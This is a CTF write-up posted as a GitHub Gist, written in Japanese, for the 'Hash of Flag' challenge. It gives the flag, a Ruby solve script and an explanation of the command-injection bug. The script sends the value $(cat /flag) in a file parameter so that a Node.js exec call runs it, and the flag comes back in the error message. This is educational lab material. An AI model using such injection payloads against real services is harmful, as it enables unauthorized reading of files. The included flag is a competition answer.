Skip to content

Instantly share code, notes, and snippets.

@fabon-f
Created April 18, 2023 07:11
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save fabon-f/323280e4a63d9970844b8c47b5c5ae72 to your computer and use it in GitHub Desktop.
Save fabon-f/323280e4a63d9970844b8c47b5c5ae72 to your computer and use it in GitHub Desktop.
TSG decathlon CTF 2023 "Hash of Flag"
TSGCTF{d0n'7_cry_0v3r_h45h3d_f14g}
require 'net/http'
require 'json'
server = 'http://localhost:3456'
res = Net::HTTP.get(URI("#{server}/hash?file=$(cat%20/flag)"))
puts JSON.parse(res)['error'].scan(/TSGCTF\{.*\}/)

Hash of Flag 解説

一瞬ディレクトリトラバーサルに見えますが、たとえば/hash?file=../../flagにアクセスしてもフラグのハッシュ値しか得られません。ハッシュ値から元のデータを復元するのは一般に不可能です。

今回の想定解はOSコマンドインジェクションでした。

execCommand(`md5sum "texts/${filename}"`)

Node.jsのchild_process.execはコマンドをシェル経由で実行するので、シェルスクリプトの文法がそのまま使えます。たとえば、filename";cat "/flagにすれば、実行されるコマンドはmd5sum "texts/";cat "/flag"となり、フラグを入手できます。しかし、今回は"がバリデーションで弾かれてしまうので不可能です。そこで、文字列の中で使える特殊記号を利用します。具体的には$(command)`command`です。

/hash?file=$(cat%20/flag)にアクセスすると、実行されるコマンドはmd5sum "$(cat /flag)"となりますが、このコマンドはフラグと同じ名前のファイルを読もうとしてエラーになります。さらに、レスポンスにエラーメッセージが含まれているので、そこからフラグを入手できます。

攻撃者にとって、エラーメッセージは情報の宝庫です。webサービスを開発する際は、不必要なエラーメッセージを返さないようにしましょう。

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment